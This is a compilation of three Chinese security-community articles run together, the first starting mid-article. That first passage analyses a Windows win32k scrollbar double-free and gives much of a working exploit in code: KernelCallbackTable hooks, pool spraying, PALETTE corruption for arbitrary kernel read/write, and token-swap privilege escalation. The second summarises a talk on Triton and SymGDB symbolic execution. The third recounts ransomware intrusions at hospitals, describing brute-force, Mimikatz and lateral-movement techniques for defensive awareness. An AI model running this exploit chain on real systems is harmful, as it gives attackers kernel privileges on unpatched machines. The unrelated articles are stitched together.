cmd <= WM_KEYLAST))) {
cmd = SystoChar(cmd, msg.lParam);
// After xxxWindowEvent, xxxpfnSB, xxxTranslateMessage or
// xxxDispatchMessage, re-evaluate pSBTrack.
REEVALUATE_PSBTRACK(pSBTrack, pwnd, "xxxTrackLoop");
if ((pSBTrack == NULL) || (NULL == (xxxpfnSB = pSBTrack->xxxpfnSB)))
// mode cancelled -- exit track loop
return;
(*xxxpfnSB)(pwnd, cmd, msg.wParam, msg.lParam, pSBCalc);
} else {
xxxTranslateMessage(&msg, 0);
xxxDispatchMessage(&msg);
}
}
}
接着调用xxxSBTrackLoop函数来循环处理用户的消息，该函数循环获取消息、判断消息、分发消息。当用户放开鼠标时，xxxSBTrackLoop停止追踪消息，退出之后释放pSBTrack指向的内存。
// After xxx, re-evaluate pSBTrack
REEVALUATE_PSBTRACK(pSBTrack, pwnd, "xxxTrackLoop");
if (pSBTrack) {
Unlock(&pSBTrack->spwndSBNotify);
Unlock(&pSBTrack->spwndSB);
Unlock(&pSBTrack->spwndTrack);
UserFreePool(pSBTrack);
PWNDTOPSBTRACK(pwnd) = NULL;
}
xxxSBTrackLoop循环结束之后解引用了几个窗口的引用，然后释放掉pSBTrack指向的内存。
按理来说这里是不会报错的，以上这些操作都是正常流程，但double
free的错误提示说明在pSBTrack被win32kfull!xxxSBTrackInit释放之前已经被偷偷释放过一次了，在哪里我们不得而知，先尝试下一个内存访问断点。
ba r8 ffff8d3dc1d2e9c0
断了几次都在申请内存的时候，最终，我们可以断在nt!ExFreePoolWithTag函数，该函数正打算释放pSTBrack，看起来和第二次释放没什么区别，但看一下堆栈就发现问题所在了。
这次释放发生在win32kbase!Win32FreePool释放pSBTrack之前，就是这次本不该发生的释放导致了Double
Free的发生。先看最上面标记出来的代码，这次是一个xxxEndScrell函数调用了Win32FreePool，该函数源码如下
void xxxEndScroll(
PWND pwnd,
BOOL fCancel)
{
UINT oldcmd;
PSBTRACK pSBTrack;
CheckLock(pwnd);
UserAssert(!IsWinEventNotifyDeferred());
pSBTrack = PWNDTOPSBTRACK(pwnd);
if (pSBTrack && PtiCurrent()->pq->spwndCapture == pwnd && pSBTrack->xxxpfnSB != NULL) {
（省略部分内容）
pSBTrack->xxxpfnSB = NULL;
/*
* Unlock structure members so they are no longer holding down windows.
*/
Unlock(&pSBTrack->spwndSB);
Unlock(&pSBTrack->spwndSBNotify);
Unlock(&pSBTrack->spwndTrack);
UserFreePool(pSBTrack);
PWNDTOPSBTRACK(pwnd) = NULL;
}
}
只要我们能够通过if的判断，那么就能成功释放pSBTrack。因为程序是单线程，所以创建的窗口都是用的原来的SBTrack，自然而然的，pSBTrack和pSBTrack->xxxpfnSB
!= NULL都可以通过。至于PtiCurrent()->pq->spwndCapture == pwnd可以通过调用SetCapture函数来直接设置。
xxxEndScroll函数的作用我们已经知道了，接着继续循着调用路径追溯
void xxxDWP_DoCancelMode(
PWND pwnd)
{
（省略）
if (pwndCapture == pwnd) {
PSBTRACK pSBTrack = PWNDTOPSBTRACK(pwnd);
if (pSBTrack && (pSBTrack->xxxpfnSB != NULL))
xxxEndScroll(pwnd, TRUE);
（省略）
继续往上追溯就到了win32kfull!xxxRealDefWindowProc。我们可以在对应的源码处看到一些有用的信息，如下
LRESULT xxxDefWindowProc(
PWND pwnd,
UINT message,
WPARAM wParam,
LPARAM lParam)
{
（省略）
case WM_CANCELMODE:
{
/*
* Terminate any modes the system might
* be in, such as scrollbar tracking, menu mode,
* button capture, etc.
*/
xxxDWP_DoCancelMode(pwnd);
}
break;
（省略）
如果xxxDefWindowProc函数收到了WM_CANCELMODE，就可以去执行xxxEndScroll来释放SBTrack结构。
至此，我们对这个漏洞已经有一个初步认识了，大概有以下情报
[+] 漏洞的成因是程序对一个0x80大小的session poll进行了两次释放
[+] 第一次释放发生在poc的fnDWORDHook中，通过调用xxxEndScroll函数来实现
[+] 第二次释放发生在xxxSBTrackInit函数，当xxxSBTrackLoop函数结束时会释放pSBTrack
# poc分析
## 创建窗口
UINT CreateWindows(VOID) {
HINSTANCE hInstance;
WNDCLASS wndclass = { 0 };
{
hInstance = GetModuleHandleA(0);
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = DefWindowProc;
wndclass.hInstance = hInstance;
wndclass.cbClsExtra = 0x00;
wndclass.cbWndExtra = 0x08;
wndclass.lpszClassName = "case";
if (!RegisterClassA(&wndclass)) {
cout << "RegisterClass Error!" << endl;
return 1;
}
}
Window = CreateWindowExA(0, "case", NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (!Window) {
cout << "Create Window Error!" << endl;
return 1;
}
//保存句柄在扩展内存中
SetWindowLongA(Window, 0, (ULONG)Window);
//WS_CHILD |
SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, hInstance, NULL);
cout << "Window:0x" << hex << Window << endl;
cout << "SrollBar:0x" << hex << SrollBar << endl;
}
注册窗口类并产生一个主窗口，以主窗口为父窗口再创建一个滚动条子控件。只注意两个地方就可以了，`wndclass.cbWndExtra =
0x08`和`子窗口属性设置为WS_CHILD`，后面分析的时候会讲原因。
## 回调函数Hook
//Windows10 1709 X64
VOID Hook_Init(VOID) {
DWORD OldType = 0;
ULONG64 KernelCallbackTable = *(ULONG64*)(PEB + 0x58);
VirtualProtect((LPVOID)KernelCallbackTable, 0x1024, PAGE_EXECUTE_READWRITE, &OldType);
//fnDWORD
fnDword = (My_FnFunction) * (ULONG64*)(KernelCallbackTable + 0x08 * 0x02);
*(ULONG64*)(KernelCallbackTable + 0x08 * 0x02) = (ULONG64)fnDWORDHook;
//xxxClientAllocWindowClassExtraBytes
xxxClientAllocWindowClassExtraBytes = (My_FnFunction) * (ULONG64*)(KernelCallbackTable + 0x08 * 0x7E);
//0x80
*(ULONG64*)(KernelCallbackTable + 0x08 * 0x7E) = (ULONG64)xxxClientAllocWindowClassExtraBytesHook;
}
首先获得KernelCallbackTable的地址，至于为什么是PEB+0x58，可以通过在windbg下`dt _PEB
@$peb`查看。VirtualProtect函数更改KernelCallbackTable表为可读可写可执行，这样我们可以直接通过赋值来修改其中的函数地址，这里我们修改了`fnDWORD`和`xxxClientAllocWindowClassExtraBytes`。
这两段代码是触发崩溃之前很重要的准备工作，但是有好多东西不明不白，你可能有以下问题
[+] 为什么要hook fnDWORD和xxxClientAllocWindowClassExtraBytes？
[+] 为什么要设置wndclass.cbWndExtra = 0x08？
[+] 为什么要滚动条必须设置为WS_CHILD？
这些问题都会在接下来的触发过程分析中得到解答。
## 触发过程分析
{
//Hook
Hook_Init();
Flag = 1;
//debug
DebugBreak();
//向滚动条发送点击消息
SendMessageA(SrollBar, WM_LBUTTONDOWN, MK_LBUTTON, 0x00080008);
}
在执行完Hook_Init函数之后，我们的准备工作已经基本完成了。首先向滚动条发送WM_LBUTTONDOWN消息，滚动条会调用xxxSBTrack函数来实现滚动条的鼠标跟随并且用SBTrack来保存鼠标位置，之后会调用xxxSBTrackLoop循环获取鼠标消息。xxxSBTrackLoop循环会调用fnDWORD回调函数来回到R3，如果我们hook
fnDWORD的话，就可以在xxxSBRrackInit函数执行期间进行一些额外的操作，这就是为什么hook fnDWORD的原因。额外操作具体如下
VOID fnDWORDHook(PMSG MSG) {
if (Flag) {
Flag = 0;
DestroyWindow(Window);
}
if (*((PULONG64)MSG + 1) == 0x70) {
cout << "SendMessage" << endl;
SendMessageA(New_SrollBar, WM_CANCELMODE, 0, 0);
}
fnDword(MSG);
}
因为其他地方也可能会调用fnDWORD回调函数，所以我们通过if和fnDword(MSG)来维持hook之后的fnDWORD依然能正常运行。先看第一个if，通过Flag的值判断是否进入，这里我们调用DestroyWindow(Window)来释放父窗口。在windows
2000的源码中简单跟进了一下，我们得知DestroyWindow函数调用xxxDestroyWindow函数，xxxDestroyWindow又去调用xxxFreeWindow函数。在xxxFreeWindow函数中，我们观察一下cbWndExtra相关的内容
首先判断是否存在窗口扩展结构，如果存在的话则调用xxxClientFreeWindowClassExtraBytes函数释放窗口扩展空间，这就是为什么我们要设置`wndclass.cbWndExtra
= 0x08`的原因。接着我们查看一下该函数的实现
这里调用了用户模式回调函数，是peb`-`>KernelCallbackTable)[126]所在的地址，该处正好就是我们hook的
`xxxClientAllocWindowClassExtraBytes`。所以我们前面特地设置`wndclass.cbWndExtra =
0x08`和hook了`xxxClientAllocWindowClassExtraBytes`都是为了进入这个函数，然后调用我们的hook函数。
VOID xxxClientAllocWindowClassExtraBytesHook(PVOID MSG) {
if ((*(HWND*)*(HWND*)MSG) == Window) {
cout << "xxxClientAllocWindowClassExtraBytes" << endl;
//为什么要创建新滚动条控件呢,因为子滚动条控件的父窗口被释放后,无法获取到滚动条的内核地址了
New_SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, SBS_HORZ | WS_HSCROLL | WS_VSCROLL, NULL, NULL, 2, 2, NULL, NULL, GetModuleHandleA(0), NULL);
NtUserSetWindowFNID(Window, 0x2A1);
SetCapture(New_SrollBar);
}
xxxClientAllocWindowClassExtraBytes(MSG);
}
在CreateWindows函数中，我们用`SetWindowLongA(Window, 0,
(ULONG)Window)`将句柄保存在了扩展内存之中，现在利用句柄判断是否为父窗口调用了xxxClientAllocWindowClassExtraBytesHook函数。在if中，我们修改了FNID的值，看起来有点迷惑，为什么要设置这些似乎不相关的东西？我们需要回顾一下xxxSBTrackInit中的内容
if (pSBTrack) {
Unlock(&pSBTrack->spwndSBNotify);
Unlock(&pSBTrack->spwndSB);
Unlock(&pSBTrack->spwndTrack);
UserFreePool(pSBTrack);
PWNDTOPSBTRACK(pwnd) = NULL;
}
在xxxSBLoop结束后，会对spwndSBNotify和主窗口的引用进行解引用。虽然父窗口已经被释放了，但子窗口还对父窗口有引用，所以相关的pool并没有被释放，但由于这是最后一个引用，HMAssignmentUnlock函数清除赋值锁的过程会减小对象的锁计数，在锁计数减小为0时调用HMUnlockObjectInternal销毁对象，销毁时调用win32k!ghati对应表项的销毁例程，并最终调用win32kfull!xxxDestroyWindow对窗口对象进行释放，这就是我们需要定义滚动条子控件的原因。
兜兜转转我们又回到了win32kfull!xxxDestroyWindow函数，刚刚已经分析过了，xxxDestroyWindow调用xxxFreeWindow来释放窗口，而FNID为释放窗口的Flag属性，我们把FNID修改为了0x2A1，正好可以通过下图的验证
过了验证之后我们会再一次调用fnDWORDHook函数并发送0x70的Message，回顾一下我们的fnDWORDHook
VOID fnDWORDHook(PMSG MSG) {
if (Flag) {
Flag = 0;
DestroyWindow(Window);
}
if (*((PULONG64)MSG + 1) == 0x70) {
cout << "SendMessage" << endl;
SendMessageA(New_SrollBar, WM_CANCELMODE, 0, 0);
}
fnDword(MSG);
}
第二个if终于排上了用场，他负责发送一个WM_CANCELMODE消息。在分析BSOD的时候，我们已经分析了xxxEndScroll函数触发的条件，正好就是WM_CANCELMODE消息，这样一来，我们的pSBTrack就会被释放，接着再被win32kfull!SBTrackInit中的Win32FreePool释放，从而造成Double
Free。
至此，我们刚刚提出的几个问题也全都解决了：
[+] 为什么要hook fnDWORD和xxxClientAllocWindowClassExtraBytes？
答：我们可以通过SBTrackloop和xxxFreeWindow调用这两个回调函数，hook之后可以有两次返回r3进行操作的机会。
[+] 为什么要设置wndclass.cbWndExtra = 0x08？
答：为了回调xxxClientAllocWindowClassExtraBytes。
[+] 为什么要滚动条必须设置为WS_CHILD？
答：为了引用父窗口，这样才不会在DestroyWindow的时候被直接释放。
## 触发流程示意图
# exp分析
## HMAssignmentUnlock的利用姿势
前面我们已经分析过了，在xxxSBTrackLoop循环结束之后，HMAssignmentUnlock函数对spwndSB（父窗口）解引用的时候会调用win32kfull!xxxDestroyWindow并最终释放SBTrack结构。
if (pSBTrack) {
Unlock(&pSBTrack->spwndSBNotify);
Unlock(&pSBTrack->spwndSB); // 对主窗口解引用
Unlock(&pSBTrack->spwndTrack); // tagSBTrack解引用
UserFreePool(pSBTrack);
PWNDTOPSBTRACK(pwnd) = NULL;
}
注意`Unlock(&pSBTrack->spwndTrack);`，在解引用tagSBTrack之前，tagSBTrack结构已经被释放了，如果我们堆喷射很多个0x80大小的session来重引用tagSBTrack。
UCHAR MenuNames[0x100] = { 0 }, ClassName[0x50] = { 0 };
memset(MenuNames, 0x43, 0x80 - 0x20);
*(ULONG64*)((ULONG64)MenuNames + 0x10) = To_Where_A_Palette;
*(ULONG64*)((ULONG64)MenuNames + 0x08) = To_Where_A_Palette;
while (I < 0x1000) {
sprintf((char*)ClassName, "WindowUaf%d", I);
hInstance = GetModuleHandleA(0);
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = DefWindowProc;
wndclass.hInstance = hInstance;
wndclass.lpszMenuName = (LPCWSTR)MenuNames;
wndclass.lpszClassName = (LPCWSTR)ClassName;
if (!RegisterClassW(&wndclass)) {
cout << "RegisterClass Error!" << endl;
return 1;
}
我们分配了0x1000个TagCls结构，其中保存着指向lpszMenuName结构的指针，该结构作为0x80的session pool
正好复用tagSBTrack的内存，只要修改MenuNames的内容就可以执行`HMAssignmentUnlock(任意值)`了。
## 任意地址-1
`HMAssignmentUnlock(任意值)`看起来好像作用不大，我们先看看HMAssignmentUnlock函数内部实现
既然我们已经获得了`HMAssignmentUnlock(任意值)`，就等于是控制了rcx，函数内部对[[rcx]+8]减一，也就是我们已经获得了任意地址-1。
## 泄露PALETTE地址
memset(MenuNames, 0x43, 0x1000 - 10);
{
hInstance = GetModuleHandleA(0);
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = DefWindowProc;
wndclass.hInstance = hInstance;
wndclass.lpszMenuName = (LPCWSTR)MenuNames;
wndclass.lpszClassName = L"LEAKWS";
if (!RegisterClassW(&wndclass)) {
cout << "RegisterClass Error!" << endl;
return 1;
}
}
PALETTE调色板在Win10 1709没有开启Type ISOLaTion，而且同样是session
pool，我们可以考虑修改该结构来达到任意地址读写。先通过MenuName创建一个0x1000的pool，这是为了取得lpszMenuName的地址，通过它我们可以得到PALETTE的地址。
//创建窗口在用户映射桌面堆的位置
PTagWnd = (ULONG64)HMValidateHandle(hwnd, 0x01);
UlClientDelta = (ULONG64)((*(ULONG64*)(PTagWnd + 0x20)) - (ULONG64)PTagWnd);
TagCls = (*(ULONG64*)(PTagWnd + 0xa8)) - UlClientDelta;
接着调用`HMValidateHandle()`函数获取tagWND的用户态桌面堆的地址，又因为tagWND结构中保存了自己在内核堆中的地址，我们可以获得一个相对偏移，通过这个偏移我们可以获取任意结构在内核桌面堆中的地址，又因为tagWND中保存着tagCLS的地址，我们可以算出tagCLS在用户态桌面堆的地址。有了tagCLS我们就可以在0x98的偏移地址找到MenuName，也就可以找到PALETTE的地址了。然后释放MenuName，这样内存就会被释放为Free状态，后面讲为什么要释放。
DestroyWindow(hwnd);
return *(ULONG64*)(TagCls + 0x98);
## 任意地址读写
现在我们有了目标地址，也有了任意地址-1，已经可以进行一些操作了。虽然靠这个任意地址-1为所欲为是不太可能，但是他可以帮我们构造攻击链，是的，忙活这么半天还只是在进行准备工作，具体攻击链如图所示
PALETTE中的cEntries为该结构的读写范围，pFirstColor是指向调色板项的指针，如果我们能扩大cEntries的范围，就能对pFirstColor进行读写，修改pFirstColor的值，然后就可以调用PALETTE相关的函数对内核数据进行任意读写了。
VOID GetPalette_Address(VOID) {
ULONG64 A_Palette_Address = NULL, B_Palette_Address = NULL;
Palette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (sizeof(PALETTEENTRY) * (0x1D5 - 0x01)));
memset(Palette, 0x42, sizeof(LOGPALETTE) + (sizeof(PALETTEENTRY) * (0x1D5 - 0x01)));
Palette->palVersion = 0x0300;
Palette->palNumEntries = 0x1D5;
A_Palette_Address = GetMenuAddress();
cout << "A_Palette_Address:0x" << hex << A_Palette_Address << endl;
To_Where_A_Palette = A_Palette_Address + 0x2D - 8;
//内存缩紧
for (UINT I = 0; I < 0x1500; ++I) {
CreatePalette(Palette);
}
UnregisterClassW(L"LEAKWS", GetModuleHandleA(0));
Where_PALETTE = CreatePalette(Palette);
What_PALETTE = CreatePalette(Palette);
cout << "Where_PALETTE:0x" << hex << Where_PALETTE << endl;
cout << "What_PALETTE:0x" << hex << What_PALETTE << endl;
}
我们设置的cEntries的值为0x1d5，这会分配一个0x800大小的kernel
pool，如果分配两个的话就会重新引用刚刚释放的0x1000内存，这样的话，修改cEntries造成OOB之后就可以对*pFirstColoe进行任意读写了。
`HMAssignmentUnlock`执行两次之后，cEntries的值已经被修改成了0xFFFFFFd5，足够我们进行操作了，通过
`SetPaletteEntries()` 以及 `GetPaletteEntries()`
函数即可在Ring3来任意内存读写，提权倒是很轻松了，修改Token就行了。
## 收尾工作
虽然刚刚的操作很是成功，但是BSOD还是会依旧触发，因为我们通过lpszMenuName引用了pSBTrack，在之后清理进程的时候依然会触发DoubleFree，会影响我们的利用。所以我们需要在UAF_80函数中将所有的IpszMenyNames都保存了起来，利用任意读写将保存lpszMenuName
的结构赋值为0，这样就不会有对pSBTrack的错误释放，而是会在xxxSBTrack的正常流程中仅仅释放一次。
VOID FMenuName(VOID) {
ULONG64 Zero = 0;
UCHAR Menu[0x20] = { 0 };
for (UINT I = 0; I < 0x1000; ++I) {
if (TagCls_Menu_Address[I] == 0) {
continue;
}
*(ULONG64*)Menu = TagCls_Menu_Address[I];
SetPaletteEntries(Where_PALETTE, 0x1DE + 0x1E, 2, (LPPALETTEENTRY)&Menu);
SetPaletteEntries(What_PALETTE, 0, 2, (LPPALETTEENTRY)&Zero);
}
}
至此，我们成功解决了Double Free和提权，大功告成了！
# 其他
我的博客：<https://www.0x2l.cn/> | 社区文章 |
# DEFCON CHINA议题解读 | Triton和符号执行在 GDB 上
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
突突兔@DMZlab
## 讲师介绍：
陈威伯(陳威伯) 大三后开始学习资安，创立交大网路安全策进会也是 Bamboofox CTF team
的成员，台湾国立交通大学的一名硕士研究生，目前刚从SQLab毕业。
个人博客：<https://bananaappletw.github.io/>
GitHub：<https://github.com/bananaappletw>
邮箱：[[email protected]](mailto:[email protected])
## 文章目录
1.什么是符号执行
2\. 介绍Triton
3.将GDB与符号执行结合起来的工具SymGDB
## 什么是符号执行
以前人们做逆向工程的时候有两种方法：
静态分析
动态分析
在静态分析中经常会使用到的工具：
Objdump
IDA PRO
在动态分析中经常会使用到的工具：
GDB
Ltrace
Strace
但是现在出现了一种新的逆向工程的分析方法：符号执行
符号执行 （Symbolic
Execution）是一种程序分析技术。其可以通过分析程序来得到让特定代码区域执行的输入。使用符号执行分析一个程序时，该程序会使用符号值作为输入，而非一般执行程序时使用的具体值。在达到目标代码时，分析器可以得到相应的路径约束，然后通过约束求解器来得到可以触发目标代码的具体值。
系统级别的符号执行工具：
S2e(<http://s2e.systems/>)
用户级别的符号执行工具：
Angr(<http://angr.io/>)
Triton(<https://triton.quarkslab.com/>)
基于代码的符号执行工具：
klee(<http://klee.github.io/>)
更多的资源可以在这里查看：
<https://github.com/ksluckow/awesome-symbolic-execution>
举个例子：
这段代码有个IF判断，有两个分支，一个是z等于12时会执行fail函数，z不等于12时会打印OK。
## Triton(https://github.com/JonathanSalwan/Triton)：
用C ++编写的动态二进制分析框架。
由Jonathan Salwan开发
Python bindings
Triton组件：
Symbolic execution engine
Tracer
AST representations
SMT solver Interface
Triton的结构：
接下来讲了一些Triton的应用和例子，由于文章篇幅有限就不进行阐述。
## SymGDB (https://github.com/SQLab/symgdb)
给GDB添加符号执行对插件
SymGDB结合了：
Triton
GDB Python API
Symbolic environment
Symbolize argv
GDB Python API
Failed method
Successful method
Flow
SymGDB System Structure
Implementation of System Internals
Relationship between SymGDB classes
Supported Commands
Symbolic Execution Process in GDB
Symbolic Environment
symbolic argv
Debug tips
SymGDB的结构：
SymGDB支持的命令：
SymGDB使用的Demo：
<https://github.com/SQLab/symgdb/tree/master/demo_videos>
SymGDB的缺点：
Triton不支持GNU C库
支持SMT语义：
https://triton.quarkslab.com/documentation/doxygen/SMT_Semanti
cs_Supported_page.html
Triton必须实现系统调用接口来支持GNU C库
Triton VS Angr：
## References
Wiki: https://en.wikipedia.org/wiki/Symbolic_execution
Triton: https://triton.quarkslab.com/
GDB Python API:https://sourceware.org/gdb/onlinedocs/gdb/Python-API.html
Peda:https://github.com/longld/peda
Ponce:https://github.com/illera88/Ponce
Angr:http://angr.io/ | 社区文章 |
# 台风过境后的狼籍：医疗卫生行业网络安全勒索攻击案例集
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
医疗卫生行业令人尊敬，它是患者寄托生死大任的职业，无论是医院，卫生院，医疗器械，药店等等，你都把自己的健康和生命交给了它。而一些恶魔，却将犯罪之手伸向了这片圣洁之地，殊不知其呱呱坠地之时，同样来自医院之劳，忘其恩也罢，却损其利，将成千上万病人病例、药方、学术报告等重要医疗卫生资料通过恶意计算机病毒加密成一个不可查看文件，并以此勒索医院，交赎金还原文件。
奇安信威胁情报中心一直对此类犯罪活动表示谴责，并持续与这类勒索软件攻击的黑产团伙进行对抗。今年以来，奇安信安全服务团队在全国各地执行了大量医疗卫生行业大大小小的勒索攻击应急响应案例统计发现，
90%均为黑产团伙针对医院、药业、医疗器械的定向攻击行为。鉴于许多医疗卫生行业的网络安全防护措施并未健全，人员的安全意识的有待加强，因此在被定向攻击的时候，往往造成不可挽回的损失。
因此，红雨滴团队基于奇安信安服团队将近期典型的针对医疗卫生行业的勒索攻击案例汇成案例集，提供给医疗卫生从业者和公众参考，引起警惕从而采取必要的措施避免威胁的影响，黑产团伙只要有利益可以获取而不用担心牢狱之灾是永远都不会收手的。
## 针对CT机的攻击
相对于个人PC而言，医疗机械中内嵌的Windows系统大多为Win2000，WinXP，Win7等低版本且未更新最新补丁的状态。
而XX市中心医院的一台CT机，就由于不定时的发生蓝屏重启现象，且此前主机存在数个病毒文件，如勒索软件、木马等，运维人员已对该CT机进行备份处置。
在对流量进行还原过程中，发现攻击者对该CT机网段进行了流量嗅探和分析。
通过研判，发现多个主机针对该CT机的445端口进行访问，并建立IPC连接，经判断，其被攻击者使用“永恒之蓝”MS17-010高危漏洞发起攻击。
因此除了及时对工控机打补丁外，还要进行下列操作：
1\. 工控机与PC主机进行网络隔离。
2\. 工控主机网络前端加防火墙。
3\. 架设工控主机安全终端，做单机防护。
## 内网Windows服务器被勒索
内网，即局域网，一般为政企单位最为脆弱之地，主要由于较多管理者认为，在内网通向外网的出入口处做好防护措施，即可保障内网的安全，这也就导致攻击者进入内网后畅通无阻，使用各种招数进行横向移动。
以下为2019年以来几起典型的内网服务器被勒索的案例。
### 客服服务器被入侵，投放Attention勒索软件
某大学某医院遭受未知勒索软件攻击，根据对内网已知中勒索的服务器进行日志分析，最终定位到源头机器为客服服务器，并且该机器上存在攻击者上传的Mimikatz及抓密码的记录。
当时中招的机器口令均设置一致且为弱口令，建议全面修改机器口令。
在所有中招机器中发现被加密文件后缀格式为：*. -XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX，并留有勒索文本至服务器内，勒索软件名为Attention。
此外，内网还存在大量尝试IPC连接局域网机器的记录，试图爆破密码。
### 弱口令登陆外网服务器
某医院遭受GandCrab攻击，经过排查分析发现源头为对外开放的服务器，被黑客通过该服务器弱口令远程登录，并获取到192.168网段服务器的远程登录权限，随后利用该服务器对内网服务器进行IPC暴力破解，在将大量设备的权限获取完毕后，投放勒索病毒。
### 域控主机被加密。
某药业公司，内网出现大量勒索病毒有横向传播的迹象，域控已被加密。
排查后发现终端被植入勒索病毒加密后缀为：.Rabbit4444 ，通过查找在 C:\User\xxxx\AppData\Local
下发现加密模块程序：Rabbit4444.exe ，确认是 Globelmposter 勒索病毒。
根据登录日志查看攻击者一次登录成功，所以判断攻击者事先已经掌握域管理账号信息不存在爆破行为，证明很有可能使用Mimikatz抓取成功，再次证明域控主机作为内网命脉，更应该在登陆其他设备查看信息后，及时修改密码。
此外，某医疗器械公司，三台域控主机被加密，被感染MegaCortex勒索病毒。经过排查，多台被爆破主机上均存在可疑服务rstwg，通过迹象分析，判断为勒索加密程序。
从一些主机上发现攻击者的一些黑客工具，发现其中两个批处理脚本攻击者自行编写的横向移动工具，如通过文件共享传播恶意文件，还有一个脚本是使用psexec（远程系统和远程支持工具），以xxx用户名，xxx密码连接各个服务器，并运行rstwg服务，这跟之前推断的rstwg为勒索病毒程序的假设吻合，且用户名密码为超级管理员密码。
### 外网主机3389端口被密码爆破入侵
某医学检验公司遭受Globelmposter勒索软件攻击，攻击者首先通过爆破外网xxxx:3389远程登陆成功后（即成功登录10.x.x.x内网地址），利用其地址作为跳板机，对其内网地址进行大量的IPC爆破，爆破成功后，通过登录RDP进行投毒，投毒后将其样本清除，并继续爆破下一台主机或虚拟机。
此外多个卫生院，卫健局/委，以及多个医院，均被使用上述模式入侵成功，同样被投放一样的勒索软件。
### 通过OA服务器入侵
某医院遭受GandCrab勒索攻击，从内网进行排查，发现GandCrab勒索软件的传播途径大多为RDP&IPC暴力破解，并在成功入侵主机后会创建名称为KprocessHacker2的系统服务。
这里值得一提的是， ProcessHacker是一款进程管理软件，经常被恶意攻击者利用来强制结束杀毒软件进程。
而从内到外进行排查发现，攻击入口指向医院的OA服务器。从判断OA服务器被勒索的时间是否在爆发时间内，可推测为攻击者手工投毒，并且此OA服务器为攻击者掌握的主要跳板机，继续对日志进行分析，发现存在OA隐藏账号的IPC登录记录。
可见攻击者通过本机本地地址，登录IPC服务，并使用的账号为OAAPP服务创建的隐藏账号，正常情况下不会有人采用此帐号进行IPC登录，判断此登录记录为攻击者得到OA的webshell之后使用OA服务器作为代理来进行远程IPC登录，随后攻击者进行提权操作，将权限提升至system。最后推测幕后攻击者的入侵方式为中间件/Web入侵，如JBoss/Weblogic反序列化漏洞、Struts2命令执行命令等。
### 通过VPN帐号弱口令爆破入侵
某卫生健康委员会，多台业务服务器被Crysis勒索软件加密。
对防火墙旁挂设备VPN核查配置及日志溯源，发现VPN有关联资源配置权限发布可疑（10.x.x.x整个网段），有账号登录后直接可以访问该遭受勒索病毒服务器IP地址网段。从VPN日志中分析，发现“(单位名)(数字)”用户账号曾在异常时间成功登录，经过确认该账号无人使用。且VPN用户账号密码存在弱口令，可以使用密码对账号进行枚举爆破，也可以对账号进行暴力破解。
此后，攻击者对遭受勒索病毒服务器IP地址网段的RDP协议远程桌面账号密码进行暴力破解。
综上所述，经过统计2019年上半年来的数十起的勒索软件攻击可以发现，通过弱口令，口令爆破方式入侵成功的案例占比80%，且基本上，在通过3389远程桌面端口进入受害者主机后，均会采取内网横向移动入侵的方式，如继续暴力破解，Mimikatz抓密码等方式，在权限获取完毕后，投放勒索软件获利。
## Linux服务器被勒索
某医药公司感染Satan勒索病毒，通过对系统文件、进程及日志等分析，发现其Linux服务器被攻击者通过PUT方式上传了satan.jsp文件，使用的为Apache
Tomcat 远程代码执行漏洞（CVE-2017-12615）。
对被加密的文件进行排查，被加密文件后缀为.satan_pro，且加密释放的特征文件为.conn、.crypt和.Ssession，确定为Linux版本的Santan勒索病毒变种Lucky。
## 定向攻击手段的勒索攻击事件
### 一家医院被入侵，攻击源竟来自另一家医院？
某人民医院遭受GandCrab勒索软件攻击，加密后缀为ZMIGZF。
通过排查系统日志发现，攻击源来自10.x.x.2，其多次进行RDP登录爆破，并于2019年初爆破成功，从而导致某人民医院受损。
紧接着，在其被加密的服务器日志中，发现攻击源来自另一家某某医院，前往某某医院排查后，发现攻击源10.x.x.2也被加密，根据其登录日志分析，同网段的10.x.x.3服务器也被攻破，但其文件未加密，疑似黑客作为跳板服务器。
排查10.x.x.3时发现其早于2016年即被攻陷（存在黑客上传的webshell），于2018年开始有频繁的境外IP登录记录，可见策划已久。在主机中发现若干黑客工具，多为内网渗透提权工具，其读取了10.x.x.3服务器的密码。而由于某某医院内网服务器均为同一密码，虽然不是弱口令，但其通过猜测，用同样的密码登录到10.x.x.2服务器上，执行了加密，本机加密结束后，病毒自身的口令破解模块成功登录到某人民医院服务器，从而导致被加密。
可见此次攻击幕后的黑客，潜伏周期长，配合攻击手段多，且针对性打击强，医院方面务必全方面防护入口点。
### 攻击者定期下载加密文件，伪造设备被勒索的状态
某中医院在凌晨1点大面积感染GlobeImposter勒索病毒，经过日志回溯发现，其专门被3389爆破进入，且服务器中的浏览器存在下载爆破字典的行为。
此后利用字典进行横向爆破个人机成功后，个人机安装的THIS4客户端每天都会更新（.bat文件），并会从已经感染病毒的服务器中下载整个目录，而此目录的文件都已被加密，从而导致给用户一种感染勒索软件病毒的假象，其实只是攻击者拷贝了一批被加密的文件（包括桌面快捷方式）。
而通过搜索发现，THIS4是医院的信息管理系统，会处理门诊挂号等操作，可见攻击者对医院的系统极为熟悉。
## WannaCry阴魂不散
### 外包开发团队接入内网，WannaCry突现雄风
某大学某医院内网大量机器发现445攻击流量，内网部署的IDS设备识别该攻击为MS17-010永恒之蓝漏洞攻击。最后发现是Wannacry勒索病毒，可见病毒已经出现1年半了，该病毒在内网的威力还是如此之大。该部门存在经常有外包开发团队到现场接入内网的情况，
### 某肿瘤医院，未装杀毒软件导致WannaCry复燃
内网共存在10多台主机和服务器可能受到勒索病毒影响，其服务器因未安装杀毒软件受到勒索病毒攻击。确认病毒为WannaCry蠕虫勒索病毒，
其传播手段为利用“永恒之蓝”漏洞，攻击内网其他机器的445端口进行横向传播。
而除了上述两家医院，还有多家医院也因类似的原因和场景导致一个早已过时的WannaCry勒索软件加密从而无法解密，同时侧面反映，医疗卫生行业，内网中没有打关键漏洞补丁还有很多，而一旦存在入口点，配合蠕虫化的武器，那将会是一场灾难。
